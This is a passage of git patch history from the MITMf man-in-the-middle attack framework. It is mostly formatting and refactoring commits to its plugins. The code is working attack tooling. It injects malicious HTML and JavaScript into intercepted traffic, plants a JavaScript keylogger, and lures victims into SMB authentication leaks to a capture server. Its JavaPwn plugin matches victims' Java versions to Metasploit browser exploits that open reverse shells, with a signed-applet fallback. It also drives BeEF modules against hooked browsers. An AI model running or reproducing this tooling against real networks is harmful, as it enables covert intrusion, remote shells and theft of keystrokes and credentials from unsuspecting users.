Inject(CacheKill,Plugin): + +class Inject(CacheKill, Plugin): name = "Inject" optname = "inject" - implements = ["handleResponse","handleHeader","connectionMade"] + implements = ["handleResponse", "handleHeader", "connectionMade"] has_opts = True desc = "Inject arbitrary content into HTML content" - - def initialize(self,options): + + def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options self.html_src = options.html_url @@ -25,7 +30,7 @@ class Inject(CacheKill,Plugin): self.implements.remove("handleHeader") self.implements.remove("connectionMade") - if options.html_file != None: + if options.html_file is not None: self.html_payload += options.html_file.read() self.ctable = {} @@ -34,21 +39,19 @@ class Inject(CacheKill,Plugin): self.mime = "text/html" print "[*] Inject plugin online" - - def handleResponse(self,request,data): + def handleResponse(self, request, data): #We throttle to only inject once every two seconds per client #If you have MSF on another host, you may need to check prior to injection #print "http://" + request.client.getRequestHostname() + request.uri - ip,hn,mime = self._get_req_info(request) - if self._should_inject(ip,hn,mime) and \ - (not self.js_src==self.html_src==None or not self.html_payload==""): + ip, hn, mime = self._get_req_info(request) + if self._should_inject(ip, hn, mime) and (not self.js_src == self.html_src is not None or not self.html_payload == ""): - data = self._insert_html(data,post=[(self.match_str,self._get_payload())]) + data = self._insert_html(data, post=[(self.match_str, self._get_payload())]) self.ctable[ip] = time.time() self.dtable[ip+hn] = True - self.count+=1 + self.count += 1 logging.info("%s [%s] Injected malicious html" % (request.client.getClientIP(), request.headers['host'])) - return {'request':request,'data':data} + return {'request': request, 'data': data} else: return @@ -57,46 +60,49 @@ class Inject(CacheKill,Plugin): def add_options(self,options): options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.") - options.add_argument("--html-url",type=str,help="Location of your (presumably) malicious HTML. Injected via hidden iframe.") - options.add_argument("--html-payload",type=str,default="",help="String you would like to inject.") - options.add_argument("--html-file",type=argparse.FileType('r'),default=None,help="File containing code you would like to inject.") - options.add_argument("--match-str",type=str,default="",help="String you would like to match and place your payload before. ( by default)") - options.add_argument("--per-domain",action="store_true",help="Inject once per domain per client.") - options.add_argument("--rate-limit",type=float,help="Inject once every RATE_LIMIT seconds per client.") - options.add_argument("--count-limit",type=int,help="Inject only COUNT_LIMIT times per client.") - options.add_argument("--preserve-cache",action="store_true",help="Don't kill the server/client caching.") + options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.") + options.add_argument("--html-payload", type=str, default="", help="String you would like to inject.") + options.add_argument("--html-file", type=argparse.FileType('r'), default=None, help="File containing code you would like to inject.") + options.add_argument("--match-str", type=str, default="", help="String you would like to match and place your payload before. ( by default)") + options.add_argument("--per-domain", action="store_true", help="Inject once per domain per client.") + options.add_argument("--rate-limit", type=float, help="Inject once every RATE_LIMIT seconds per client.") + options.add_argument("--count-limit", type=int, help="Inject only COUNT_LIMIT times per client.") + options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.") - def _should_inject(self,ip,hn,mime): - if self.count_limit==self.rate_limit==None and not self.per_domain: + def _should_inject(self, ip, hn, mime): + if self.count_limit == self.rate_limit is None and not self.per_domain: return True - if self.count_limit != None and self.count > self.count_limit: + + if self.count_limit is not None and self.count > self.count_limit: #print "1" return False - if self.rate_limit != None: - if ip in self.ctable and time.time()-self.ctable[ip]'%(self.html_src) + if self.html_src is not None: + return '' % (self.html_src) return '' def _get_js(self): - if self.js_src != None: - return ''%(self.js_src) + if self.js_src is not None: + return '' % (self.js_src) return '' - def _insert_html(self,data,pre=[],post=[],re_flags=re.I): + def _insert_html(self, data, pre=[], post=[], re_flags=re.I): ''' To use this function, simply pass a list of tuples of the form: @@ -107,11 +113,13 @@ class Inject(CacheKill,Plugin): The pre array will have the match in front of your injected code, the post will put the match behind it. ''' - pre_regexes = [re.compile(r"(?P"+i[0]+")",re_flags) for i in pre] - post_regexes = [re.compile(r"(?P"+i[0]+")",re_flags) for i in post] - - for i,r in enumerate(pre_regexes): - data=re.sub(r,"\g"+pre[i][1],data) - for i,r in enumerate(post_regexes): - data=re.sub(r,post[i][1]+"\g",data) + pre_regexes = [re.compile(r"(?P"+i[0]+")", re_flags) for i in pre] + post_regexes = [re.compile(r"(?P"+i[0]+")", re_flags) for i in post] + + for i, r in enumerate(pre_regexes): + data = re.sub(r, "\g"+pre[i][1], data) + + for i, r in enumerate(post_regexes): + data = re.sub(r, post[i][1]+"\g", data) + return data diff --git a/plugins/JavaPwn.py b/plugins/JavaPwn.py index a8620a5..517c8c4 100644 --- a/plugins/JavaPwn.py +++ b/plugins/JavaPwn.py @@ -6,13 +6,17 @@ import string import random import threading import logging -import sys, os +import sys try: from configobj import ConfigObj except: sys.exit('[-] configobj library not installed!') +requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message +requests_log.setLevel(logging.WARNING) + + class JavaPwn(BrowserProfiler, Plugin): name = "JavaPwn" optname = "javapwn" @@ -26,28 +30,24 @@ class JavaPwn(BrowserProfiler, Plugin): self.msfport = options.msfport self.rpcip = options.rpcip self.rpcpass = options.rpcpass - self.javapwncfg = options.javapwncfg + self.javapwncfg = './config_files/javapwn.cfg' or options.javapwncfg if not self.msfip: sys.exit('[-] JavaPwn plugin requires --msfip') - if not self.javapwncfg: - self.javapwncfg = './config_files/javapwn.cfg' - self.javacfg = ConfigObj(self.javapwncfg) self.javaVersionDic = {} for key, value in self.javacfg.iteritems(): self.javaVersionDic[float(key)] = value - - self.sploited_ips = [] # store ip of pwned or not vulnarable clients so we don't re-exploit + self.sploited_ips = [] #store ip of pwned or not vulnarable clients so we don't re-exploit try: - msf = msfrpc.Msfrpc({"host" : self.rpcip}) #create an instance of msfrpc libarary + msf = msfrpc.Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary msf.login('msf', self.rpcpass) version = msf.call('core.version')['version'] - print "[*] Succesfully connected to Metasploit v%s" % version + print "[*] Successfully connected to Metasploit v%s" % version except Exception: sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") @@ -57,110 +57,109 @@ class JavaPwn(BrowserProfiler, Plugin): print "[*] JavaPwn plugin online" t = threading.Thread(name='pwn', target=self.pwn, args=(msf,)) t.setDaemon(True) - t.start() #start the main thread + t.start() #start the main thread - def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning) + def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning) return "/" + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(5)) - def version2float(self, version): #converts clients java version string to a float so we can compare the value to self.javaVersionDic + def version2float(self, version): #converts clients java version string to a float so we can compare the value to self.javaVersionDic v = version.split(".") return float(v[0] + "." + "".join(v[-(len(v)-1):])) - def injectWait(self, msfinstance, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions + def injectWait(self, msfinstance, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions #inject iframe logging.info("%s >> now injecting iframe to trigger exploit" % client_ip) self.html_payload = "" % (self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects - + logging.info('%s >> waiting for ze shells, Please wait...' % client_ip) - + exit = False i = 1 - while i <= 30: #wait max 60 seconds for a new shell - if exit == True: + while i <= 30: #wait max 60 seconds for a new shell + if exit: break - shell = msfinstance.call('session.list') #poll metasploit every 2 seconds for new sessions + shell = msfinstance.call('session.list') #poll metasploit every 2 seconds for new sessions if len(shell) > 0: - for k,v in shell.items(): - if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted + for k, v in shell.items(): + if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted logging.info("%s >> Got shell!" % client_ip) - self.sploited_ips.append(client_ip) #target successfuly exploited + self.sploited_ips.append(client_ip) #target successfuly exploited exit = True break sleep(2) - i+=1 - - if exit == False: #We didn't get a shell + i += 1 + + if exit is False: #We didn't get a shell logging.info("%s >> session not established after 30 seconds" % client_ip) - - self.html_payload = self.get_payload() # restart the BrowserProfiler plugin + self.html_payload = self.get_payload() # restart the BrowserProfiler plugin def pwn(self, msfinstance): while True: - if (len(self.dic_output) > 0) and self.dic_output['java_installed'] == '1': #only choose clients that we are 100% sure have the java plugin installed and enabled - - brwprofile = self.dic_output #self.dic_output is the output of the BrowserProfiler plugin in a dictionary format - - if brwprofile['ip'] not in self.sploited_ips: #continue only if the ip has not been already exploited + if (len(self.dic_output) > 0) and self.dic_output['java_installed'] == '1': #only choose clients that we are 100% sure have the java plugin installed and enabled + + brwprofile = self.dic_output #self.dic_output is the output of the BrowserProfiler plugin in a dictionary format + + if brwprofile['ip'] not in self.sploited_ips: #continue only if the ip has not been already exploited vic_ip = brwprofile['ip'] - client_version = self.version2float(brwprofile['java_version']) #convert the clients java string version to a float + client_version = self.version2float(brwprofile['java_version']) #convert the clients java string version to a float logging.info("%s >> client has java version %s installed! Proceeding..." % (vic_ip, brwprofile['java_version'])) logging.info("%s >> Choosing exploit based on version string" % vic_ip) - min_version = min(self.javaVersionDic, key=lambda x: abs(x-client_version)) #retrives the exploit with minimum distance from the clients version - - if client_version < min_version: #since the two version strings are now floats we can use the < operand - - exploit = self.javaVersionDic[min_version] #get the exploit string for that version - + min_version = min(self.javaVersionDic, key=lambda x: abs(x-client_version)) #retrives the exploit with minimum distance from the clients version + + if client_version < min_version: #since the two version strings are now floats we can use the < operand + + exploit = self.javaVersionDic[min_version] #get the exploit string for that version + logging.info("%s >> client is vulnerable to %s!" % (vic_ip, exploit)) msf = msfinstance - - #here we check to see if we already set up the exploit to avoid creating new jobs for no reason - jobs = msf.call('job.list') #get running jobs - if len(jobs) > 0: - for k,v in jobs.items(): - info = msf.call('job.info', [k]) - if exploit in info['name']: - logging.info('%s >> %s exploit already started' % (vic_ip, exploit)) - url = info['uripath'] #get the url assigned to the exploit - self.injectWait(msf, url, vic_ip) - - else: #here we setup the exploit - rand_url = self.rand_url() # generate a random url - rand_port = random.randint(1000, 65535) # generate a random port for the payload listener - + #here we check to see if we already set up the exploit to avoid creating new jobs for no reason + jobs = msf.call('job.list') #get running jobs + if len(jobs) > 0: + for k, v in jobs.items(): + info = msf.call('job.info', [k]) + if exploit in info['name']: + logging.info('%s >> %s exploit already started' % (vic_ip, exploit)) + url = info['uripath'] #get the url assigned to the exploit + self.injectWait(msf, url, vic_ip) + + else: #here we setup the exploit + rand_url = self.rand_url() #generate a random url + rand_port = random.randint(1000, 65535) #generate a random port for the payload listener + + #generate the command string to send to the virtual console #new line character very important as it simulates a user pressing enter - cmd = "use exploit/multi/browser/%s\n" % exploit + cmd = "use exploit/multi/browser/%s\n" % exploit cmd += "set SRVPORT %s\n" % self.msfport cmd += "set URIPATH %s\n" % rand_url - cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter (plus its multi-platform! Yay java!) + cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter (plus its multi-platform! Yay java!) cmd += "set LHOST %s\n" % self.msfip cmd += "set LPORT %s\n" % rand_port cmd += "exploit -j\n" - + logging.debug("command string:\n%s" % cmd) try: - logging.info("%s >> sending commands to metasploit" % vic_ip) - + logging.info("%s >> sending commands to metasploit" % vic_ip) + #Create a virtual console console_id = msf.call('console.create')['id'] #write the cmd to the newly created console msf.call('console.write', [console_id, cmd]) - + logging.info("%s >> commands sent succesfully" % vic_ip) except Exception, e: logging.info('%s >> Error accured while interacting with metasploit: %s:%s' % (vic_ip, Exception, e)) - self.injectWait(msf, rand_url, vic_ip) + self.injectWait(msf, rand_url, vic_ip) else: logging.info("%s >> client is not vulnerable to any java exploit" % vic_ip) self.sploited_ips.append(vic_ip) @@ -175,17 +174,17 @@ class JavaPwn(BrowserProfiler, Plugin): options.add_argument('--msfport', dest='msfport', default='8080', help='Port of MSF web-server [default: 8080]') options.add_argument('--rpcip', dest='rpcip', default='127.0.0.1', help='IP of MSF MSGRPC server [default: localhost]') options.add_argument('--rpcpass', dest='rpcpass', default='abc123', help='Password for the MSF MSGRPC server [default: abc123]') - options.add_argument('--javapwncfg', type=file, help='Specify a config file') + options.add_argument('--javapwncfg', type=file, help='Specify a config file [default: javapwn.cfg]') def finish(self): '''This will be called when shutting down''' msf = msfrpc.Msfrpc({"host": self.rpcip}) msf.login('msf', self.rpcpass) - + jobs = msf.call('job.list') if len(jobs) > 0: print '[*] Stopping all running metasploit jobs' - for k,v in jobs.items(): + for k, v in jobs.items(): msf.call('job.stop', [k]) consoles = msf.call('console.list')['consoles'] diff --git a/plugins/JsKeylogger.py b/plugins/JsKeylogger.py index 3fa0b53..cd30d99 100644 --- a/plugins/JsKeylogger.py +++ b/plugins/JsKeylogger.py @@ -2,14 +2,15 @@ from plugins.plugin import Plugin from plugins.Inject import Inject import logging + class jskeylogger(Inject, Plugin): name = "Javascript Keylogger" optname = "jskeylogger" desc = "Injects a javascript keylogger into clients webpages" - implements = ["handleResponse","handleHeader","connectionMade", "sendPostData"] + implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"] has_opts = False - def initialize(self,options): + def initialize(self, options): Inject.initialize(self, options) self.html_payload = self.msf_keylogger() print "[*] Javascript Keylogger plugin online" @@ -105,4 +106,4 @@ if (var3 == 13 || var2.length > 3000) } """ - return payload \ No newline at end of file + return payload diff --git a/plugins/Replace.py b/plugins/Replace.py index 50238d6..d250826 100644 --- a/plugins/Replace.py +++ b/plugins/Replace.py @@ -1,23 +1,28 @@ -import os,subprocess,logging,time,re -import argparse +#import os +#import subprocess +import sys +import logging +import time +import re from plugins.plugin import Plugin from plugins.CacheKill import CacheKill -class Replace(CacheKill,Plugin): + +class Replace(CacheKill, Plugin): name = "Replace" optname = "replace" - implements = ["handleResponse","handleHeader","connectionMade"] + implements = ["handleResponse", "handleHeader", "connectionMade"] has_opts = True desc = "Replace arbitrary content in HTML content" - - def initialize(self,options): + + def initialize(self, options): self.options = options self.search_str = options.search_str self.replace_str = options.replace_str self.regex_file = options.regex_file - if (self.search_str==None or self.search_str=="") and self.regex_file is None: + if (self.search_str is None or self.search_str == "") and self.regex_file is None: sys.exit("[*] Please provide a search string or a regex file") self.regexes = [] @@ -33,47 +38,46 @@ class Replace(CacheKill,Plugin): self.ctable = {} self.dtable = {} self.mime = "text/html" - + print "[*] Replace plugin online" - def handleResponse(self,request,data): - ip,hn,mime = self._get_req_info(request) + def handleResponse(self, request, data): + ip, hn, mime = self._get_req_info(request) - if self._should_replace(ip,hn,mime): - - if self.search_str!=None and self.search_str!="": + if self._should_replace(ip, hn, mime): + + if self.search_str is not None and self.search_str != "": data = data.replace(self.search_str, self.replace_str) logging.info("%s [%s] Replaced '%s' with '%s'" % (request.client.getClientIP(), request.headers['host'], self.search_str, self.replace_str)) - # Did the user provide us with a regex file? for regex in self.regexes: try: data = re.sub(regex[0], regex[1], data) logging.info("%s [%s] Occurances matching '%s' replaced with '%s'" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1])) - except Exception, e: + except Exception: logging.error("%s [%s] Your provided regex (%s) or replace value (%s) is empty or invalid. Please debug your provided regex(es)" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1])) self.ctable[ip] = time.time() self.dtable[ip+hn] = True - return {'request':request,'data':data} - + return {'request': request, 'data': data} + return - def add_options(self,options): - options.add_argument("--search-str",type=str,default=None,help="String you would like to replace --replace-str with. Default: '' (empty string)") - options.add_argument("--replace-str",type=str,default="",help="String you would like to replace.") - options.add_argument("--regex-file",type=file,help="Load file with regexes. File format: [tab][new-line]") - options.add_argument("--keep-cache",action="store_true",help="Don't kill the server/client caching.") + def add_options(self, options): + options.add_argument("--search-str", type=str, default=None, help="String you would like to replace --replace-str with. Default: '' (empty string)") + options.add_argument("--replace-str", type=str, default="", help="String you would like to replace.") + options.add_argument("--regex-file", type=file, help="Load file with regexes. File format: [tab][new-line]") + options.add_argument("--keep-cache", action="store_true", help="Don't kill the server/client caching.") - def _should_replace(self,ip,hn,mime): - return mime.find(self.mime)!=-1 - - def _get_req_info(self,request): + def _should_replace(self, ip, hn, mime): + return mime.find(self.mime) != -1 + + def _get_req_info(self, request): ip = request.client.getClientIP() hn = request.client.getRequestHostname() mime = request.client.headers['Content-Type'] - return (ip,hn,mime) + return (ip, hn, mime) diff --git a/plugins/SMBAuth.py b/plugins/SMBAuth.py index 13aeab3..64c55ce 100644 --- a/plugins/SMBAuth.py +++ b/plugins/SMBAuth.py @@ -1,22 +1,22 @@ from plugins.plugin import Plugin from plugins.Inject import Inject -class SMBAuth(Inject,Plugin): + +class SMBAuth(Inject, Plugin): name = "SMBAuth" optname = "smbauth" desc = "Evoke SMB challenge-response auth attempts" - - def initialize(self,options): - Inject.initialize(self,options) + + def initialize(self, options): + Inject.initialize(self, options) self.target_ip = options.host self.html_payload = self._get_data() print "[*] SMBAuth plugin online" - def add_options(self,options): + def add_options(self, options): options.add_argument("--host", type=str, help="The ip address of your capture server") - + def _get_data(self): return ''\ ''\ - ''\ - % tuple([self.target_ip]*3) + '' % tuple([self.target_ip]*3) diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 9bb24a0..5342ac9 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -42,7 +42,7 @@ class Spoof(Plugin): self.target = options.target self.arpmode = options.arpmode self.port = self.options.listen - self.manualiptables = options.manualiptables #added by alexander.georgiev@daloo.de + self.manualiptables = options.manualiptables #added by alexander.georgiev@daloo.de self.debug = False self.send = True diff --git a/plugins/Upsidedownternet.py b/plugins/Upsidedownternet.py index 6f7e997..b9852d9 100644 --- a/plugins/Upsidedownternet.py +++ b/plugins/Upsidedownternet.py @@ -1,47 +1,49 @@ import logging from cStringIO import StringIO from plugins.plugin import Plugin +from PIL import Image + class Upsidedownternet(Plugin): name = "Upsidedownternet" optname = "upsidedownternet" desc = 'Flips images 180 degrees' has_opts = False - implements = ["handleResponse","handleHeader"] - - def initialize(self,options): - from PIL import Image,ImageFile + implements = ["handleResponse", "handleHeader"] + + def initialize(self, options): + from PIL import Image, ImageFile globals()['Image'] = Image globals()['ImageFile'] = ImageFile - self.options = options - - def handleHeader(self,request,key,value): + self.options = options + + def handleHeader(self, request, key, value): '''Kill the image skipping that's in place for speed reasons''' if request.isImageRequest: request.isImageRequest = False request.isImage = True - request.imageType = value.split("/")[1].upper() - - def handleResponse(self,request,data): + request.imageType = value.split("/")[1].upper() + + def handleResponse(self, request, data): try: - isImage = getattr(request,'isImage') + isImage = getattr(request, 'isImage') except AttributeError: isImage = False if isImage: try: - image_type=request.imageType + image_type = request.imageType #For some reason more images get parsed using the parser #rather than a file...PIL still needs some work I guess - p = ImageFile.Parser() + p = Image.Parser() p.feed(data) im = p.close() - im=im.transpose(Image.ROTATE_180) + im = im.transpose(Image.ROTATE_180) output = StringIO() - im.save(output,format=image_type) - data=output.getvalue() + im.save(output, format=image_type) + data = output.getvalue() output.close() logging.info("Flipped image") except Exception as e: print "Error: %s" % e - return {'request':request,'data':data} + return {'request': request, 'data': data} diff --git a/plugins/plugin.py b/plugins/plugin.py index 2b4848e..4b8cd37 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -3,16 +3,19 @@ The base plugin class. This shows the various methods that can get called during the MITM attack. ''' + class Plugin(object): name = "Generic plugin" optname = "generic" desc = "" implements = [] has_opts = False + def __init__(self): '''Called on plugin instantiation. Probably don't need this''' pass - def initialize(self,options): + + def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options @@ -20,15 +23,15 @@ class Plugin(object): '''Add your options to the options parser''' raise NotImplementedError - def handleHeader(self,request,key,value): + def handleHeader(self, request, key, value): '''Handles all response headers''' raise NotImplementedError - def connectionMade(self,request): + def connectionMade(self, request): '''Handles outgoing request''' raise NotImplementedError - - def handleResponse(self,request,data): + + def handleResponse(self, request, data): ''' Handles all non-image responses by default. See Upsidedownternet for how to get images From d632acc530929a0145f8d88d33d41a70aae7a231 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Thu, 14 Aug 2014 20:13:52 +0200 Subject: [PATCH 006/323] fixed indentation on return statement --- libs/beefapi.py | 7 ++++--- plugins/BeefAutorun.py | 2 +- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/libs/beefapi.py b/libs/beefapi.py index f9559f6..67e1162 100644 --- a/libs/beefapi.py +++ b/libs/beefapi.py @@ -49,12 +49,13 @@ class BeefAPI: return self.get_sessions("offline", "ip") def get_sessions(self, state, value): - hooks = [] try: + hooks = [] r = requests.get(self.hookurl + self.token).json() for v in r["hooked-browsers"][state].items(): - hooks.append(str(v[1][value])) - return hooks + hooks.append(v[1][value]) + + return hooks except Exception, e: print "beefapi ERROR: %s" % e diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index dd4d3cb..5df1995 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -57,7 +57,7 @@ class BeefAutorun(Plugin): already_ran = [] while True: sessions = beef.onlineSessions() - if (sessions is not None) and (len(sessions) > 0): + if len(sessions) > 0: for session in sessions: session_ip = beef.session2host(session) if session not in already_hooked: From 48fbc70ff7c517657936565cfa4a73cc4d7a6208 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Fri, 15 Aug 2014 11:39:15 +0200 Subject: [PATCH 007/323] javapwn plugin now falls back to the signed applet attack --- plugins/JavaPwn.py | 50 +++++++++++++++++++++++++++------------------- 1 file changed, 29 insertions(+), 21 deletions(-) diff --git a/plugins/JavaPwn.py b/plugins/JavaPwn.py index 517c8c4..f9a1c52 100644 --- a/plugins/JavaPwn.py +++ b/plugins/JavaPwn.py @@ -94,7 +94,21 @@ class JavaPwn(BrowserProfiler, Plugin): self.html_payload = self.get_payload() # restart the BrowserProfiler plugin - def pwn(self, msfinstance): + def send_command(self, cmd, msf, vic_ip): + try: + logging.info("%s >> sending commands to metasploit" % vic_ip) + + #Create a virtual console + console_id = msf.call('console.create')['id'] + + #write the cmd to the newly created console + msf.call('console.write', [console_id, cmd]) + + logging.info("%s >> commands sent succesfully" % vic_ip) + except Exception, e: + logging.info('%s >> Error accured while interacting with metasploit: %s:%s' % (vic_ip, Exception, e)) + + def pwn(self, msf): while True: if (len(self.dic_output) > 0) and self.dic_output['java_installed'] == '1': #only choose clients that we are 100% sure have the java plugin installed and enabled @@ -117,8 +131,6 @@ class JavaPwn(BrowserProfiler, Plugin): logging.info("%s >> client is vulnerable to %s!" % (vic_ip, exploit)) - msf = msfinstance - #here we check to see if we already set up the exploit to avoid creating new jobs for no reason jobs = msf.call('job.list') #get running jobs if len(jobs) > 0: @@ -146,28 +158,24 @@ class JavaPwn(BrowserProfiler, Plugin): logging.debug("command string:\n%s" % cmd) - try: - logging.info("%s >> sending commands to metasploit" % vic_ip) - - #Create a virtual console - console_id = msf.call('console.create')['id'] - - #write the cmd to the newly created console - msf.call('console.write', [console_id, cmd]) - - logging.info("%s >> commands sent succesfully" % vic_ip) - except Exception, e: - logging.info('%s >> Error accured while interacting with metasploit: %s:%s' % (vic_ip, Exception, e)) + self.send_command(cmd, msf, vic_ip) self.injectWait(msf, rand_url, vic_ip) else: logging.info("%s >> client is not vulnerable to any java exploit" % vic_ip) - self.sploited_ips.append(vic_ip) - sleep(0.5) - else: - sleep(0.5) - else: - sleep(0.5) + logging.info("%s >> falling back to the signed applet attack" % vic_ip) + + cmd = "use exploit/multi/browser/java_signed_applet\n" + cmd += "set SRVPORT %s\n" % self.msfport + cmd += "set URIPATH %s\n" % rand_url + cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter (plus its multi-platform! Yay java!) + cmd += "set LHOST %s\n" % self.msfip + cmd += "set LPORT %s\n" % rand_port + cmd += "exploit -j\n" + + self.send_command(cmd, msf, vic_ip) + self.injectWait(msf, rand_url, vic_ip) + sleep(1) def add_options(self, options): options.add_argument('--msfip', dest='msfip', help='IP Address of MSF') From f05e13281302832ba62e2e3cda5c8b0c777c1171 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 18 Aug 2014 02:32:09 +0200 Subject: [PATCH 008/323] release 0.6 --- mitmf.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/mitmf.py b/mitmf.py index 21b1a73..3cffc32 100755 --- a/mitmf.py +++ b/mitmf.py @@ -15,7 +15,7 @@ import argparse from plugins import * plugin_classes = plugin.Plugin.__subclasses__() -mitmf_version = "0.5" +mitmf_version = "0.6" sslstrip_version = "0.9" sergio_version = "0.2.1" From ff235e3e9041e672ca4828e788b88830191de268 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 27 Aug 2014 00:09:18 +0200 Subject: [PATCH 009/323] revamped beefapi, fixed BrowserProfiler output --- config_files/beefautorun.cfg | 3 +- libs/beefapi.py | 155 ++++++++++++++++++++--------------- plugins/BeefAutorun.py | 41 +++++---- plugins/BrowserProfiler.py | 4 +- 4 files changed, 111 insertions(+), 92 deletions(-) diff --git a/config_files/beefautorun.cfg b/config_files/beefautorun.cfg index f48760b..fa84f2d 100644 --- a/config_files/beefautorun.cfg +++ b/config_files/beefautorun.cfg @@ -1,6 +1,7 @@ #Example config file for the BeefAutorun plugin -mode = oneshot #can be set to loop, or oneshot +mode = oneshot +#can be set to loop, or oneshot #in loop mode the plugin will run modules on all hooked browsers every 10 seconds #in oneshot mode the plugin will run modules only once per hooked browser diff --git a/libs/beefapi.py b/libs/beefapi.py index 67e1162..099c252 100644 --- a/libs/beefapi.py +++ b/libs/beefapi.py @@ -18,8 +18,7 @@ class BeefAPI: self.log_url = self.url + "logs?token=" def random_url(self): - url = "".join(sample(digits + lowercase, 8)) - return url + return "".join(sample(digits + lowercase, 8)) def login(self, username, password): try: @@ -36,30 +35,67 @@ class BeefAPI: except Exception, e: print "beefapi ERROR: %s" % e - def onlineSessions(self): + def sessions_online(self): return self.get_sessions("online", "session") - def offlineSessions(self): + def sessions_offline(self): return self.get_sessions("offline", "session") - def onlineHosts(self): + def session2host(self, session): + return self.conversion(session, "ip") + + def session2id(self, session): + return self.conversion(session, "id") + + def hook_info(self, hook): #Returns parsed information on a session + session = self.conversion(hook, "session") + url = self.hookurl + self.token + r = requests.get(url).json() + + try: + states = ["online", "offline"] + for state in states: + for v in r["hooked-browsers"][state].items(): + if v[1]["session"] == session: + return v[1] + except IndexError: + pass + + def hook_info_all(self, hook): + session = self.conversion(hook, "session") + url = self.url + "hooks/%s?token=%s" % (session, self.token) + return requests.get(url).json() + + def hook_logs(self, hook): + session = self.conversion(hook, "session") + url = self.url + "logs/%s?token=%s" % (session, self.token) + return requests.get(url).json() + + def hosts_online(self): return self.get_sessions("online", "ip") - def offlineHosts(self): + def hosts_offline(self): return self.get_sessions("offline", "ip") - def get_sessions(self, state, value): - try: - hooks = [] - r = requests.get(self.hookurl + self.token).json() - for v in r["hooked-browsers"][state].items(): - hooks.append(v[1][value]) + def host2session(self, host): + return self.conversion(host, "session") - return hooks - except Exception, e: - print "beefapi ERROR: %s" % e + def host2id(self, host): + return self.conversion(host, "id") - def getModid(self, name): #Returns module id + def ids_online(self): + return self.get_sessions("online", "id") + + def ids_offline(self): + return self.get_sessions("offline", "id") + + def id2session(self, id): + return self.conversion(id, "session") + + def id2host(self, id): + return self.conversion(id, "ip") + + def module_id(self, name): #Returns module id url = self.mod_url + self.token try: r = requests.get(url).json() @@ -69,7 +105,7 @@ class BeefAPI: except Exception, e: print "beefapi ERROR: %s" % e - def getModname(self, id): #Returns module name + def module_name(self, id): #Returns module name url = self.mod_url + self.token try: r = requests.get(url).json() @@ -79,47 +115,9 @@ class BeefAPI: except Exception, e: print "beefapi ERROR: %s" % e - def host2session(self, ip): #IP => Session - url = self.hookurl + self.token - try: - r = requests.get(url).json() - for v in r["hooked-browsers"]["online"].items(): - if v[1]["ip"] == ip: - return v[1]["session"] - else: - session = None - - if session is None: - for v in r["hooked-browsers"]["offline"].items(): - if v[1]["ip"] == ip: - return v[1]["session"] - else: - return None - - except Exception, e: - print "beefapi ERROR: %s" % e - - def session2host(self, session): #Session => IP - url = self.hookurl + self.token - try: - r = requests.get(url).json() - for v in r["hooked-browsers"]["online"].items(): - if v[1]["session"] == session: - return v[1]["ip"] - else: - ip = None - - if ip is None: - for v in r["hooked-browsers"]["offline"].items(): - if v[1]["session"] == session: - return v[1]["ip"] - else: - return None - except Exception, e: - print "beefapi ERROR: %s" % e - - def runModule(self, session, mod_id, options={}): #Executes a module on a specified session + def module_run(self, hook, mod_id, options={}): #Executes a module on a specified session try: + session = self.conversion(hook, "session") headers = {"Content-Type": "application/json", "charset": "UTF-8"} payload = json.dumps(options) url = self.url + "modules/%s/%s?token=%s" % (session, mod_id, self.token) @@ -127,24 +125,45 @@ class BeefAPI: except Exception, e: print "beefapi ERROR: %s" % e - def moduleResult(self, session, mod_id, cmd_id): + def module_results(self, hook, mod_id, cmd_id): + session = self.conversion(hook, "session") url = self.mod_url + "%s/%s/%s?token=%s" % (session, mod_id, cmd_id, self.token) return requests.get(url).json() - def sessionInfo(self, session): #Returns parsed information on a session - url = self.url + "hooks/%s?token=%s" % (session, self.token) + def modules_list(self): + return requests.get(self.mod_url + self.token).json() + + def module_info(self, id): + url = self.url + "modules/%s?token=%s" % (id, self.token) return requests.get(url).json() def logs(self): return requests.get(self.log_url + self.token).json() - def sessionLogs(self, session): - url = self.url + "logs/%s?token=%s" % (session, self.token) - return requests.get(url).json() + def conversion(self, value, return_value): #Helper function for all conversion functions + url = self.hookurl + self.token + try: + r = requests.get(url).json() + states = ["online", "offline"] + for state in states: + for v in r["hooked-browsers"][state].items(): + for r in v[1].values(): + if str(value) == str(r): + return v[1][return_value] - def listModules(self): - return requests.get(self.mod_url + self.token).json() + except Exception, e: + print "beefapi ERROR: %s" % e - def moduleInfo(self, id): 